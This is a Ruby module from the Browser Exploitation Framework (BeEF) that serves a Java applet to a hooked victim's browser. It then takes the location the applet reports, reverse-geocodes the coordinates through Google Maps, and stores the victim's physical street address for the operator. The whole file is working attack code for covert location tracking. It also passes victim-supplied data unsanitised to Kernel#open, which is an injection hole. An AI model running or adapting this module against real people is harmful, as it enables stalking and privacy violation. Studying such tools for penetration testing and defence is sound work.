#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

require 'rubygems'
require 'json'
require 'open-uri'

class Get_physical_location < BeEF::Core::Command

  def pre_send
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_physical_location/getGPSLocation.jar', '/getGPSLocation', 'jar')
  end

  def post_execute        
    results = @datastore['results'].to_s
    results = results.gsub("location_info=","")

    response = open(results).read
    result = JSON.parse(response)
    reverseGoogleUrl = "https://maps.googleapis.com/maps/geo?q="+result['location']['lat'].to_s+','+result['location']['lng'].to_s+"&output=json&sensor=true_or_false"
    googleResults = open(reverseGoogleUrl).read
    jsonGoogleResults = JSON.parse(googleResults)

    addressFound = jsonGoogleResults['Placemark'][0]['address']

    writeToResults = Hash.new
    writeToResults['data'] = addressFound
    BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'] , @friendlyname, writeToResults, 0)
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getGPSLocation.jar')

    content = {}
    content['Result'] = addressFound
    save content
  end

end

